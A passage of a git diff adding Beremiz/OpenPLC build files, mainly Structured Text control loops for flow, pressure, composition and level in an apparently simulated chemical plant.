+354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + 